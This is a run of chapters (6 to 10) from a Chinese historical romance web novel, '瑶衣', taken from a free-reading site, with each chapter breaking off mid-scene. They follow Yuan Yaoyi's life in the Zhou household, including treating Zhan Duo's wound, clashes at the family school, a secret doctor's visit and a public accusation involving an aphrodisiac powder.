“总会好起来。”她小声喃喃着,像是回应连婶,又像是对自己说的。 她走到盆架前,撸高袖子准备洗手。 忽的,她察觉自己指尖上沾着什么,想着是否是沾了月季花汁,于是抬高到眼前来看。仔细一看,竟是血。 袁瑶衣捻了下指尖,忆起在月亮门那儿,她被詹铎扶起,当时她抓上他的手臂,清楚听见他的吸气声…… 他的手臂上有伤? 这时,连婶走过来,递了条手巾过来。 袁瑶衣回神,两只手往下一伸,浸入铜盆里。 。 晚上骤然起风,擦着檐下发出呜呜声,如凄厉的鬼哭。 戌时,重五回了虹宇院。虽然詹铎不常回来,但是身为随从的他,总会不时回来跑腿儿做事。 连婶知道他没用晚膳,便简单备了些吃食。 袁瑶衣闲着无事,便一起在伙房帮忙。这几日的接触,她和重五也算熟络起来。 不像詹铎话少清傲,他的这个随从性子相当活络,总爱同人说笑。 “你这也吃得太急了,小心肚子疼。”连婶往桌上送了一碗水,提醒了一声。 重五满不在乎的往嘴里塞着饼子,边道:“不会,我常年跟着公子在军营,很多时候用饭都没个准点儿,习惯了。尤其是龙湖岛海战那会儿,得一点儿空闲才能吃点东西,那干粮和石头一样硬。” “哟,公子也吃那些?”连婶问。 重五点头,眼下口中饭食:“公子身为主将,吃的和将士们一样。哪像京中那帮只会用嘴的文官,我们在外拼命抗敌,他们却主张什么讲和,你说气不气人?” 连婶啧啧两声,道声可不是。 提起这些,重五脸上愤愤不平:“公子此番回京述职,还不知道多少人暗中盯着呢。” 说者无心,听者有意。 袁瑶衣想到了她与詹铎的那场荒唐,以他的立场来说,如果不好好处理此事,定会被人抓着当做把柄…… 许是有人陪着说话,重五粗粗的咽下口中饭食:“我是知道公子有多辛苦,凡事亲力亲为。就说昨日,他出去一趟都不带人,到今日才回 6.第 6 章 《瑶衣》全本免费阅读 袁瑶衣回神,方才只顾着看詹铎手臂上的伤口,竟是忘了站起来,还离得这样近…… 她往边上移了下,准备起来。视线中,詹铎已经把受伤的手臂往铜盆里伸。 “不行,”她道了声,手过去将铜盆一拉,“你这伤口不能碰冷水。” 詹铎的指尖才碰了点儿水,盆就被拖走了,遂蹙了眉:“伤口不深,无碍。” 一点儿小伤而已,他一个上过战场厮杀的,没那么金贵。 袁瑶衣后知后觉自己无权去管詹铎的事,可他的伤又被她给扯过,于是唇角一抿:“是真的,伤口沾水好的慢,尤其冬天,要是不小心冻伤,会留下病根儿。” 她说得认真,家中行医,这些道理自然懂得。有些人就是觉得年轻力壮,对些小伤小痛不在意,等到老了一身病。 詹铎瞧着那盆水,他一个男子不好从她手里抢过来。不过也承认她的话是对的,小伤易好,冻伤却难根除,虽然他并不是怕冷的人。 “就拿手巾把伤口周围擦一擦吧,”袁瑶衣又道,然后把手巾浸湿,“尤其你的伤口不平整,更得注意。” 听了她的话,詹铎眉尾挑了下:“这不就是刀割了一下吗?” 袁瑶衣拧着手巾,摇摇头:“刀伤伤口平整,公子的伤是被竹片划到的吧?” 这点她还是能看出来的,伤口处粗糙不平整,绝非利刃造成,定然是竹片、木片之类。 若说是锋利的竹片,一般是猎人用来做陷阱,布置在坑底,猎物入坑后被直接刺死。在巨峰山中,就有不少这样的陷阱。 詹铎不语,看着手臂上的伤口,不知在想什么。 见他如此,袁瑶衣便知自己说对了,她把湿手巾递过去:“要真是竹片,公子最好查看下伤口里是否有竹刺。” 詹铎接了手巾,开始擦拭手臂。原先那些血污擦了去,露出肌理结实的小臂,却也显得那伤口格外狰狞。 “啪”,他把脏手巾往铜盆里一扔。余光中,少女还站在那儿,并没有离去。 “这些让重五回来收拾就好。”他道了声,也算是让她下去的意思。 袁瑶衣小小应了声,手指指去他的手臂:“那里有刺。” 闻言,詹铎重又低头看伤处。伤到的时候,他只是简单包扎了下,确实不知道有没有扎到刺,回来后也是诸多事务,没再去管。 “这里,”袁瑶衣走近去,在他的右手臂边弯腰,“不仔细看找不到,加上你的伤口深,或许还没察觉到它。该拔出来,不然会随着伤口愈合,一起长进肉里去。” 这回,詹铎看到了那刺,在伤口边缘,混着血肉极难发现。 女子的纤细的手指凑近,几乎要触上他的手臂,带着小心翼翼和仔细。 “我给你拔出来吧?”袁瑶衣开口,明亮的眼睛中带着询问。 詹铎在这双清澈的眼中看到自己影子,像是湖水倒映般:“你不怕?” 这样血粼粼的伤口,要是詹家和周家的姑娘看了,怕有的都能吓晕过去。 “不会,”袁瑶衣干脆的回了声,然后撸起自己的袖口,“小时候我也帮过祖父处理病人的伤口。” 她还记得自己的动作利索,祖父时常夸奖。只是后来慢慢长大,父母亲便不让她再抛头露面。 见詹铎的手臂仍搭在腿上没动,袁瑶衣当他是答应,便从随身香袋中取了一只绣花针。她蹲下去,在詹铎的腿边,左手拖着他的手腕处做稳定,右手捏着针。 她的手腕很细,看着一捏就会碎掉。 室内静下来,外头的风声显得格外明显。 詹铎垂眸,见着那细细的针尖刺进肉中,却没有想象中的痛疼。烛火耀映中,他腿边的女子很是安静,好像少了些之前与他相处时的僵硬。 傍晚在假山那里,那俩婆子曾说她家行医…… “好了。”一声女子恬静的嗓音响起,而后她举起手里的针。 詹铎视线一移,看到了沾着针尖上的那一点竹刺。竟是这么快她就给挑了出来。接着,他的手臂被松开,重新落回到自己膝上。 “有劳了。”他道声。 袁瑶衣收好针,往后站开了两步:“还有件事想跟公子你说。” 詹铎正了正身形,左手从床上捡起那张纸图,手一甩展开来看:“说吧。” “今日,周家大夫人让我去学塾。”袁瑶衣道,过来送图是一则,这去家塾便是来这儿的第二桩事。 随着詹铎手里的图展开,她的视线不免跟着瞅上去。上头密密麻麻的线条与标记,原是一张舆图,最中心的位置标注这一座山峰。 巨峰山? 袁瑶衣差点念出来,因为小时候会随祖父去山上采药,知道那里的山形地貌。詹铎是去了巨峰山,那么手臂上的伤似乎也说得通…… “那便去吧。”詹铎继续看着舆图,并未抬头。 袁瑶衣收回视线,双手叠在身前:“我识得字不多,去了反而添乱。” 她并不想去,不说那些周家姑娘们是否好相处,就说这大宅中的算计,她当日是如何出事的? 詹铎的手指点着舆图上的一点,淡淡道:“无妨,你听大夫人安排就是。” 他全部心思在图上,抬手摆了两摆。 袁瑶衣明白,这是他定了意思。既如此,也没必要再说别的,便转身往外走。 她走到外间,轻轻吐出一口气。 “这样也好。”她用只能自己听见的声音嘀咕着,眼中几分坚定。 看得出詹铎留下她,只是碍于那份所谓的责任。她也不想这样纠结的与他捆在一起,若这样,她届时与他说开来,自行离去,应该不是麻烦事。 想到这儿,莫名心中几分松快。 不用被父亲安排给那老财主做妾,也不用困在詹铎身旁。不过,家乡定然是不能呆了,得想想以后往哪儿走。 “袁瑶衣。”里间传来詹铎的声音。 袁瑶衣才将推开棉帘,外头的冷风卷了进来,吹拂着她的头发。 “嗯。”她应了声,回头往东间看去,只看着晃动的珠帘。 “你若需要书,去书房找便可。”詹铎的声音传出来。 “知道了。”袁瑶衣回道。 没再得到里面人的回应,她掀开门帘走了出去。 。 翌日,天气仍旧阴冷。 因为要去家塾,连婶早早就开始准备。 袁瑶衣现在已经想通,在周家,她只能听从安排。家塾一定是得去的,好在不过一个时辰而已,要说多学几个字也不错。 她喜欢把事情往好处想。 差不多准备出门的时候,一个婢子来了虹宇院,手里捧着个盒子,说是她家姑娘周巧月让送来的。 袁瑶衣接过盒子,一阵香气钻进鼻息,忆起昨日在六角亭,周巧月说要送她些香料。 她道了声谢,遂交给一旁的连婶。 这 7.第 7 章 《瑶衣》全本免费阅读 袁瑶衣感觉到了心头的松快,若老揪着过往的糟心,着实没有意思。已经发生的事没办法改变,那就继续往前走。 “你的病好了?”她问。 见她不像是有事的样子,阿素悬着的心放下:“好了,还是得你配的药才好用。” 难得在这深宅中碰见相熟的人,两人有着说不完的话。 袁瑶衣还要去学塾,不能久待,说话间简单跟阿素问了些周家的事。 “总之你别惹到大姑娘,她性子傲慢,事事都得人捧着。”阿素提醒了声,谨慎的往四下看,生怕被旁人听到,“之前有传言,周家有意将她许给詹家公子。” 袁瑶衣应着,要说亲上加亲,这些世家高门经常如此。 好似但凡牵扯上詹铎,事情便会复杂难办。所幸在她这儿,真的没有想攀附他。 “阿素,若是要出府去,得知会谁?”她不想去管旁人的事,问了句。 阿素想了想:“得大夫人准了才行。你若想出去,为何不去找詹公子。” 袁瑶衣笑笑,嘴角弯着好看的弧度:“我只是随便问问。” 去问詹铎?他并不会管她,最终也不过是让于氏做主罢了。 话说回来,她的确是想出去一趟。不为别的,是为了她自己。她察觉月信已经迟了好几日,这让她十分的心慌。 已经喝了几回月季花茶,可是仍旧没来,她怕那晚与詹铎…… 想到这儿,更觉得自己的肚子酸唧唧难受。 所以,无论如何她需要出去一趟,找一个妇科郎中帮自己看一下,也好早做对策。 与阿素道了别,袁瑶衣跟着连婶去了学塾。 学塾设在临湖的一座堂阁内,从窗口能看见宽阔的湖面。一层薄冰覆盖着,更添几分清冷与静谧。 因为都是府里姑娘来上课,这里布置的典雅又舒适。婆子们早早就生了炭盆,摆在堂中四下。 袁瑶衣来得早,去了最后头自己的位置坐下。连婶在她耳边低语两声,随之出了堂阁,去到外面廊下等候。 过了一会儿,外头传来女子们的说笑声,接着便鱼贯而入。 其中,被簇拥在中间的便是周巧月。她高傲的扬着下颌,对于身旁人的奉承之语相当受用。毕竟周家大房的小女儿,自幼受宠,没人敢给她不自在。 姑娘们进来后,自然看见了坐下角落的袁瑶衣,一时间说话声都小了。 “袁瑶衣,”周巧月将斗篷交给婆子,随后走到后面来,“香料你收到了?” 她站在桌边,手中抱着个圆滚滚的袖炉。 袁瑶衣从桌后站起,微微一笑:“谢过大姑娘,收到了。” 她客气周到的道谢,声音柔柔的,像此刻弥漫在空气中的浣纱香。 一个姑娘站到周巧月边上,扫了眼袁瑶衣:“月表姐的东西都是最好的,你要是不知如何用,千万问好咯,莫要暴殄天物才好。” 周遭立时起了一片低笑,笑中的轻蔑根本不加掩饰。 袁瑶衣又何尝听不出?在这些高门姑娘眼中,她这个平头女子或许根本不配坐在这儿。 “自然知道如何用,”她缓声回应,脸上没有一丝恼意,“还知道与一些药草相配,效果会更好,不但滋肌养肤,还可静心安神。” 这倒不是她信口乱说,而是祖父的医书上却有记载。 周巧月淡淡一眼:“你还知道这些?” 袁瑶衣浅浅一应:“知道一些,大姑娘若是有兴趣,我便配上一些……” “你的东西谁敢用?”之前的那姑娘抢先道,脸上显而易见的火气,“谁知道是不是害月表姐。” 袁瑶衣看人一眼,没再多言。与这些人争,她又得不到好处,安稳度过这几日才是正经。 见她不语,女子显然更气,嘴巴嘟的老高:“你这乡下野丫头……” “够了,”周巧月瞪了女子一眼,一脸不悦,“纪映娘,你在学堂上吼什么吼?还有,我的事你能替我做主了?” 她要不要接受,是她来发话。再者,冬日干燥阴寒,她看着袁瑶衣的肌肤却很是水润细腻,若是有什么滋肌养颜的方子,为何不用? 这可倒好,即便多想要,她也不好再开口。 如此想着,心中更加不悦,遂转身往自己的座位走去。经过纪映娘时,直接将对方撞开,冷哼一声。 堂中安静下来,说也不敢出声,生怕惹到周巧月。 袁瑶衣坐回桌后,手里翻着崭新的书册,上头是一排排工整的字迹。若是这样安静的学几个字,倒也不错。 待又过了一会儿,教学的女先生来了,她姓赵,有学问,众人皆尊称她为赵先生。与她一同走进来的还有一个小姑娘,个子不高,看着也就八九岁样子,粉粉娇娇的。 两人一进来,高傲如周巧月也起身行礼迎接,对着那小姑娘一副恭敬姿态。 袁瑶衣到底对周家的情况了解少,就比如这刚进来的小姑娘,她便不知道是谁。 当然,得了阿素提醒,她不会去主动招惹谁,只等安稳的度过这一个时辰便好。 小姑娘坐在最前排,和周巧月并着,正对着讲桌的赵先生。 赵先生三十多岁,岁月没有在她脸上留下痕迹,不算是顶惊艳的美人,却能感觉到她的内在。课堂上,并不会因为对着一群世家姑娘儿放松要求,行事可谓严格。 那群喜欢拿鼻孔瞧人的姑娘们,此刻也个个鹌鹑般,乖巧安静。 一堂课不知不觉上完,等赵先生离开后,姑娘们也开始陆续离开堂阁,剩下的便是下人们进来整理打扫。 袁瑶衣最后一个离开,她瞅了眼旁边的桌子,自始至终没人过来坐,可是上面又明明摆着书本。 “是大房二姑娘的位子。”连婶走过来,同样看去那个位置。 两人收拾了下,离开了学堂。 回去的路上,周巧月依旧走在前头,笑着同那小姑娘说话,根本不见之前的骄傲。而后头,仍旧簇拥着那群姐妹。 忽的,周巧月停了脚步,随之所有人也停了下来。 “瞧,那就是大房的庶女,二姑娘周巧姿。”连婶啧啧一声,语调中一丝怜悯。 袁瑶衣顺着看过去,果然见着游廊下站了个少女,身形清瘦,一副怯怯的样子。被周巧月数落了两句,人就是低着个头不说话。 大概是见惯了这种事,没有人帮周巧姿说话。 一大群人堵在前面,袁瑶衣过不去,只好站在这儿等着。 “昨儿二姑娘打了大姑娘的一只花瓶,”因为离着一段儿距离并不怕被人听见,连婶说着缘由,“怕是大姑娘还在气头上,要不然二姑娘也不会吓得连学塾都不敢去。” 简单的两句话语,说出了周巧姿的处境。 袁瑶衣不欲去打听别人家的事,只是连婶的几句叹息中,知道周巧姿是大爷妾侍的女儿,生母早亡,日子也就过得艰难。 正在想有没有另条路回去时,前面突然安静了。 只见周巧月推了周巧姿两下,后者愣怔了一会儿才反应上来,站到了旁边去。 一群女儿家俱收敛了刚才的叽叽喳喳,在游廊下自动让开了一条道儿。 视线没了遮挡,便就看到了游廊前方,一个年轻男子正往这边走来,身姿高挑,面上淡淡的带着清疏。行走间,披在身上的黛蓝褙衫随之而动。 是詹铎。 他一走过来,廊下响起女子们娇滴滴的声音,唤着他“表哥”。 与之前不一样,今日的詹铎身着居家便装,舒展松快,多了份飘逸感。他走到哪儿,廊中的目光俱是盯到哪儿。 “铎哥哥。”人群中传出一声清脆的嗓音。 接着,一个小身影跑去了詹铎身旁,仰着脸朝詹铎笑。可不就是那个八九岁的小姑娘。 “你怎么在这儿?”詹铎停下,原本清冷的脸柔和些许,问着小姑娘。 “我去读书了,”小姑娘说得理直气壮,皱着一张小脸儿,“你要去哪儿?带着我吧。” 詹铎皱了下眉,随即唇间送出两个字:“走吧。” 小姑娘一听,高兴得迈开小腿儿跟上。 这边,袁瑶衣也将路让开,身形退到廊柱旁,双手端在身前,微低着头。 很快,男人端方的步伐从眼前走过,带着翻飞的 8.第 8 章 《瑶衣》全本免费阅读 前方的影子一闪而过,眨眼功夫藏去了黑暗中。要不是詹铎眼力好,或许真会以为自己看错了。 他双唇一合,重新抿上。 也许之前袁瑶衣总是规矩的上前问安,所以他下意识回应一声。 结果她没过来,而他的才要送出的“嗯”字,也就咽了回去。 “公子,怎么了?”跟在后头的重五上前,翘起脚尖顺着詹铎的视线看,只看到前方一堵院墙。 詹铎扫了侍从一眼,才发现自己盯着院墙下的那处黑暗处看:“走吧。” 他淡淡道了声,下颌习惯的一抬,遂离开了这儿。 虽说这女子是个意外,但是瞧着胆小谨慎,只要她不惹事,也就随她去。总归他有许多事要做,她安分就好。 事情短暂得像没发生过,詹铎的身影很快消失在黑暗中。 等人离开后,袁瑶衣从墙根下出来。 过了一会儿,连婶跑过来,身后加了件厚袄:“刚才公子回去了,娘子没碰到吗?” 袁瑶衣摇下头:“我刚才站在避风处,没瞧见。” “这样啊,”连婶道了声,手里灯笼往前照着道儿,“有时候,我都以为你在避着公子。” 袁瑶衣没说话,只是嘴角缓缓弯着柔软的弧度。 说起来,她的确是在避着詹铎吧。既然心里已经决定以后离开,何必凑上前去?她和他本是一桩错误,面对彼此时,心中都觉得别扭吧。 “我想让大夫人准我出门一趟,等回家时,不至于两手空空。”不想说关于詹铎的事,袁瑶衣岔开话题。 一些事情上,她也想听听连婶的意思,毕竟对方在周家多年,知道不少。 连婶听了,点点头:“这是应该的,夫人会答应。你是回门儿,到时候照实说就行。” 得了提点,袁瑶衣回应了声好。 去到于氏那儿,并没有耽误多少功夫。也就是简简单单的事儿,没什么不能答应。便就定下了她出府这件事。 。 翌日,学塾。 堂阁中暖意融融,趁着先生没来,姑娘们彼此间说着话。 袁瑶衣翻看着桌上的书,感觉不时有目光看过来,耳边自然也能听到些话,不过相比昨日,倒少了不少。 当然,也有单独讲詹铎的,说他会在这个月底前启程回京…… 槛窗开着一些,外面几株梅树,寒风中含苞待放。檐下凉台上,等候的婆子婢女们,凑在一起说着话。 今日所有人特意提早半个时辰过来,因为每月的十五,周老夫人都会过来,象征性的查一下孙女儿们的课业,正好今儿是十五。 没一会儿,周老夫人被两个婆子搀着,进了暖阁来。 婢子早早摆好扑了软垫的圈椅,将人扶着稳当坐上去。 外面的婆子婢子们也凑到窗前,往里头看着,通常这种时候,姑娘们表现得好,她们下人也会跟着被打赏。 赵夫人让每人写一幅字,随后收起交到周老夫人手中。 “看看今日是谁夺冠。”老夫人说着,手里一页页翻看着,面上浮现出满意的神情。 于氏跟在一旁,往前凑近:“瞧着都进步了。哟,这是谁写的,是不是想逗乐母亲?” 老夫人手里正捏着一张纸,字迹和前面的相比,差了许多。待看到底下的署名是袁瑶衣,心中也便了然。 “是瑶衣啊,”大夫人一笑,朝最后头看去,“你可得加紧练字了,咱们铎哥儿的字,当初可受过陛下称赞。” 底下一位姑娘接话:“詹家表哥可是堂堂榜眼,字当然好,哪是随便人能比。” 一句看似平常的话,让所有人看去后头的袁瑶衣,也没人再说话。 静默中,袁瑶衣缓缓起身,看去最前面的周老夫人:“之前在家时,便没正儿八经学过字,是闲时兄长简略教过。” 暖阁里响起女子清凌凌的嗓音,如那溪水清浅而过,软而柔和。 只是亲口提起兄长,心中难免生出些许酸涩。兄长远在外地求学,还不知道她出了事…… “瑶衣也觉得周家的诸位姑娘写字极好,瞧着赏心悦目。”她微微一笑。 写得好便是写得好,没有什么不好承认。这一点,她自然看得通透,面上不卑不亢。 周老夫人听了,满意与她这份落落大方,颔了下首:“你那兄长有才,我也略有耳闻。” 她抬抬手示意袁瑶衣坐下,而后跟身旁的于氏说着什么。 于氏连连点头,后面站直身子,对一众人道:“入冬天冷,你们祖母说怕闷着你们,让挑一日给你们办诗会,并着一起赏梅。到时候千万带好你们耿家妹妹。” 她不忘提一声耿芷蝶,并送去一个和蔼的笑。 话音一落,底下热闹起来,姑娘们开始商议届时设置何种娱乐方式。 周老夫人离开后,赵先生也没想继续讲学,并应景儿的让人准备了些鲜花木枝,让她们在堂上插花。自然也是有彩头的,便是赢了的人,诗会上与赵先生一组。 前头的长桌上,已经摆了各式花朵、花瓶。 姑娘们纷纷从位子上起身,走到前面去挑选。一时间,暖阁里尽是女子们清脆的笑声。 袁瑶衣自然不会插花,别人都做,她不做倒显得突兀,也就站起来走去前面。 长桌上略显凌乱,都是别人选剩的,鲜花自是一朵没有。 底下有轻轻的笑声,便知是有人忍不住看笑话。 赵先生往下面瞅了眼,示意安静,回来对袁瑶衣道:“我让人再寻些来。” “不用,”袁瑶衣一笑,从桌上随便捡了几样,甚至还有一截秃枝,“这些够了。” 这种事情,她就是跟着做而已,没想过跳着去争什么第一。 回到自己位置坐下,她摆好墨色细颈瓶,而后将秃枝直接插去瓶中,不作任何修整,接着捞起一把苇草…… 暖阁中安静下来,女子们各自摆弄着自己的瓶花。 不管是门外还是窗边,总有好奇的婢子婆子往里头望。 士族人家的女儿便是这样,无甚需要忧虑的事,在家族的庇荫下,整日做些轻松欢乐之事。 插花、调香、点茶…… 前面的两个姑娘正在低声讨论,不知是说到了什么,齐齐回头看了眼袁瑶衣桌上,待看着那些不起眼的杂乱枝条草叶,低声笑着,继而回头。 袁瑶衣并不在意,她本与她们格格不入,更没想讨好融入她们,这样彼此在自己的位置,井水不犯河水便好。 她手里理着一把苇草,指尖灵活的分成几缕。 插花这种技艺,对周家姑娘们来说极为容易,哪怕冬日中可用的鲜花不多,但在她们的巧手和心思下,必然还会呈现出或雅致、或意境的瓶花。 做好后,婢女们从各张桌上端走花瓶,随后摆回最前面的长桌上。 赵先生从桌边走过,一一查看,每每看见花瓶,偶尔满意颔首。 “这是谁的?”赵先生指着中间的一瓶红梅青竹问。 周巧月盈盈起身,面上柔柔笑着:“是我的。” 赵先生点头,道了声很不错。 周巧月是周家大房的嫡女,身份摆在那里。听到赵先生夸赞,底下的周家姑娘们也开始吹捧,什么好听的话都拿来说,甚至说诗会上的夺魁。 这种奉承话极为受用,周巧月面上多了份得意。 这时,不知谁提到袁瑶衣,所有人的目光投去最后头。 “你的呢?”赵先生问了声,看去袁瑶衣。 袁瑶衣抬头,手里正好把颈瓶擦拭干净:“先生,我不会插花,只是自己做着玩儿而已。” “我们也是玩儿,你快送上去。”周巧月道声,扫了眼袁瑶衣桌上。 赵先生道声:“拿上来吧。” 见此,袁瑶衣端着自己的花瓶送去前面。 还未摆去桌上,就听见有人笑出声:“怎的里头插着截秃枝?是插枝还是插花?” 话毕,起了一片笑声。 袁瑶衣未理会,把瓶子摆去桌上,正摆在长桌最中间的位置,紧挨着周巧月的花瓶。 众人惊讶,因为谁也不会故意去挨着周巧月的花瓶放,故意空出一块地方来,为了更凸显周巧月的花。谁知,这个乡下来的丫头如 9.第 9 章 《瑶衣》全本免费阅读 袁瑶衣没想到詹铎会唤她,既如此,也只能转身走回去。 “公子。”她停在廊阶下,并没有走进廊中的意思。 冬日,即便是中午也没什么暖意。女子纤弱的身形站在那儿,任寒风拽着素色的裙角,一副经不住风的样子。 詹铎缓走两步,正站在廊阶之上,垂眸间,便是站在下处的袁瑶衣,她低眉顺眼。 “去哪儿?”他问。 袁瑶衣低垂着眼睫,视线中是石砖上的莲花刻纹:“要出门一趟,大夫人准了的。” 难怪他要问,她走的这条路不是回虹宇院的,应当是觉得她在乱跑吧。 她回了他的话,等了一会儿,也没等到詹铎的下一句。要不是能感觉到他那股冷傲的压迫感,她真以为是他不声不响的走了。 想起马车此时应该已经等在后门,袁瑶衣心里起了一丝焦急。可詹铎不开口,她又该怎么问? 总不能这样干站着,她悄悄抬起眼角,往廊下去看。 先入眼帘的是男子是青色的袍衫下摆,往上是一枚白玉雕制而成的圆形腰佩,然后就是那张总是没有情绪的脸…… “公子有事吩咐?”袁瑶衣重新垂下眼睑,避开与对方的对视。 这时,重五从游廊一头跑过来,将一封信笺交到詹铎手里。 詹铎手一抬,那封信笺收进掌中:“无事,你去吧。” 这句话显然是对袁瑶衣说的,随后两指一夹,抽出信来。 袁瑶衣一怔,站了这好一会儿,原来他是在等重五。既这样,为何让她站在这儿?平白浪费了些功夫。 她腰身一弯行了礼道声告退,便转身往后门处走去。 “公子,”重五看着袁瑶衣离开的身影,问了声,“咱们出去几日,你刚才是在交代瑶衣娘子吧?” 交代? 詹铎捏着信纸,抬眸看去前方,女子的身形刚好拐过弯处,再看不见,脚步倒是略显着急。 右臂伤口此时扯了一下,有些微微发痒,是伤口愈合的症状。前日夜里,她劝他好好处理伤口,不然应该不会好的这样快。 他自然没有交代她什么,甚至没说几个字,只是觉得她方才急急的下了游廊,似乎有些躲避的意思…… “周家这边会安排好她。”他道了声,信也正好看完,折叠两下收了起来。 说罢,迈开大步往前走去。 躲避?她为何要躲避他?都已经定下,他会带着她回京去。只不过是她胆小,如今还有些谨慎罢了。 如今,他要做的是赶紧将巨峰山匪寨的事处理好,莫要再拖延。这种事无需他来费心思,周家会安排妥当。 。 后门。 袁瑶衣到时,马车已经在等了。 “我还当你有什么事,总不见出来。”连婶道声,伸手帮着掀开了车门帘。 袁瑶衣不想多说,只道声路不熟悉,便进了马车。 路上不耽搁,马车上了主街,沿着宽阔的街道一直往前。 月信这件事,袁瑶衣并不想让别人知道,包括连婶。毕竟她也不确定是怎么了,再者闹大了又是一番动静,本来她的处境就艰难。 还有,便是世家规矩多,男子娶正妻之前,不允许别得女人生育,若是有了,便会被处理掉…… 袁瑶衣下意识捂上小腹,脸色发白。 “连婶,下了车我们分头买,我去给你抓头疼的药,这样不耽误功夫。”她开口,暂且挥掉脑中那些有的没的。 连婶掏出一张纸,上头记着几样要买的东西,感激一笑:“成,娘子买了就快些回来。” 待下了马车,两人便分开来。一条街虽说不算长,但是买全要用的东西也不难。 袁瑶衣回头看着连婶进了一间铺子,她这厢闪进一条小巷,几乎小跑着穿过,到了紧邻的另一条街。 相比刚才的街道,这边更显得繁华,两旁林立着楼阁店铺,其中最高的是一处三层楼阁,悬挂着大大的匾额,好生气派。 飞阁流丹,雕梁绣柱,那里便是闳州府里最大的花楼,百香楼。 袁瑶衣之所以来这儿,是因为要找的郎中就在这条街上。对于这里她并不熟悉,但是知道父亲会往这边送药草,也就多少听了些话。花楼中的女子不能有孕,所以一旦月信有问题,便要找郎中来看。 而这花街上的郎中,自然是有些手段的,能提早断出是否有孕…… 打听了一番,袁瑶衣找到了一间医馆。 郎中是个老者,花白的须发。 袁瑶衣依着对方意思,坐去座上,手抬起落在桌上,露出手腕:“先生,月信迟迟不来。” 面对医者,倒也不需顾着平日中的忌讳,坦白说出。 郎中意外的看了眼,因着对面的少女一看只有十五六岁,且不是已婚妇人打扮,更不像花街中女子:“我来看看。” 说着,手指搭上了袁瑶衣的腕上。 袁瑶衣落在腿上的手攥紧,指间捏着鹅绿色香罗带。 良久,郎中收回手,捋着胡须:“瞧着是内里紊乱所致,回去吃两副药调理一下就好。” “紊乱?”袁瑶衣小声嘟哝着这两个字,压在心口多日的沉重瞬间消失,稍还残余着不解和忐忑,又问,“我家里也懂些医理,知道月信推后,会……” 有身孕,这三个字她到底说不出口。 郎中瞅她一眼,心知她担忧的什么,耐心解释道:“若说妇人有孕,的确是两个月查出来为准,不过稍早些也是能探出来的。” 正好,外面的学徒进来送水,接话道:“我家老师可有妇科圣手的称誉,百香楼的娘子们都会过来这边。” 听了这话,袁瑶衣便没再多问,郎中既如此笃定,那定然是没事。 这边不好继续耽搁,她抓好了药,便急匆匆按照原路返回。 刚好,连婶置买了所需东西,后面一起乘车回了周府。 如今证实是虚惊一场,袁瑶衣心境轻松起来。这样,她就可以继续之前的打算。 下一步回家,找到姨母的消息。 。 “你看是不是这样?” 学塾中,耿芷蝶坐在软毯上,举起手里的草编鸟,小脸儿满是期待的问。 边上,袁瑶衣接过来:“姑娘学得真 10.第 10 章 突然地,不愿提及的那件事儿被毫无征兆的扯露出来。 袁瑶衣整个人怔住,像被冻住的木桩,站在最边缘的那儿一动不动。耳边只回响着几个字:媚花散,她房里…… 寒风吹来,冰冷顺着她的呼吸呛进喉咙,一股窒息感袭来,心口隐隐作疼,似有一双手在一点点撕扯。 她眼睫颤了颤,眼角酸得厉害,若是一眨眼,相信泪珠会掉出来。 所有人的目光落在她身上,她咬咬后牙,眼睛更加睁大一些,面对上她们。 那些人的眼中,有讥讽、有鄙夷、有冷漠,她们都不说话,甚至对于纪映娘说从她当中找到媚花散,都未表现出惊讶。 大概所有人心里,她的确对詹铎用了手段。 “不,”袁瑶衣唇角蠕动两下,原本清亮的嗓音变得哑涩,“不是。” 她反驳着,心口那处撕开的伤口,汩汩冒着血。终究她是个女子,再如何也会在乎自己的声誉。然而一束束的目光,像是确定了她的罪名,压得她喘不上气。 对面,纪映娘瞅她一眼,下颌一扬,遂将那包媚花散交到于氏手里。 现在没有人再饮茶作诗,气氛变得僵硬沉肃。 于氏没料到会闹出这件事,手里攥着的药包像一枚火炭,烫得她想扔掉。 本来,老夫人就交代过,要把袁瑶衣这件事办妥帖,现下不知怎的,就闹出这一包媚花散,还当着这么多人的面儿。再者还牵扯到詹铎,着实难办。 “瞎说,”于氏笑着道,手一攥垂至身侧,“咱们府中哪有那种东西?” 这事儿在她这里最好就是压下去,等着过后再处理。 一听这话,纪映娘倒是委屈了:“姑母是觉得我胡闹吗?这可是千真万确从袁瑶衣房中找到的。” 于氏瞪了纪映娘一眼,原不想张扬开这桩事。然而面对众人目光,也不好再糊弄过去,毕竟当着几个妯娌,也得做出当家娘子的派头。 “你去虹宇院做什么?又怎么知道这是媚花散?” 听到于氏询问,纪映娘清了清嗓子,声音比往日亮了几分,真真是想让所有人都听清:“今日诗会,我想着折几枝梅花,经过虹宇院的时候,听见里面喧哗,以为出了什么事,就进去瞅了眼。进去后,看见婆子打翻了一个盒子,撒了一地的香料。” 她说得清清楚楚的,时不时看袁瑶衣一眼。 “我记得那盒子,是表姐的。也知道前几日,表姐给了袁瑶衣一盒香料。” 纪映娘口中的这个表姐,自然是周巧月。 听见提及自己的女儿,于氏不耐烦皱眉:“那又如何?” “那包媚花散就藏在盒子底,”纪映娘一语落地,然后回身对一个婆子道,“拿过来。” 被叫的婆子连忙跑步过去,手里捧着个盒子。 于氏一眼看出是自己女儿的,眉间皱了皱。 同时,周巧月也看到了,跟着上前两步:“映娘你是何意?我的盒子里怎么可能有那种腌臜东西?” “月表姐当然不会有,”纪映娘惹不得周巧月,赶紧开口解释,接着又道,“我想是有人故意借着你的盒子,藏着媚花散的。” 这话分明指向的就是袁瑶衣。 没人会怀疑周巧月有媚花散,或者说是不敢怀疑。所以,理所当然确定是袁瑶衣所为。 “哟,难不成老太爷寿辰那日,詹公子是被算计了?” 人群里,一声不高不低的话语,而后是一片窃窃私语声。 于氏挥挥手,示意周巧月去后面,她则看去那个捧着盒子的婆子:“你在虹宇院伺候?” 婆子称是,并说了自己是老夫人挑的人,在虹宇院中负责各间房的打扫。 人群边缘,袁瑶衣手心攥紧,指甲掐进掌心,疼感使她吸了一口凉气。她认得那婆子,的确是当日分到虹宇院的,而那盒子,也的确是周巧月送来的。 只是,她从未打开过,里面怎么会有媚花散? 然后她又听见婆子一五一十的说着她与詹铎的近况,说她从未被招进正房伺候过,也未留过宿…… 当然,这些都是实话。 一并听进耳中的,还有人群中刻薄的猜测之语。 “许是詹公子不喜她,她等不及想攀附,又动了歪心思。” “想想也是,谁会喜爱一个算计过自己的女人?能留着她就不错了,要是我,不发买出去才怪……” 袁瑶衣眼前一阵阵发黑,好似回到刚出事的时候,哪怕她躲在房中的角落,那些难听的话也能钻进耳中。 她抿紧唇,看去于氏:“我……” 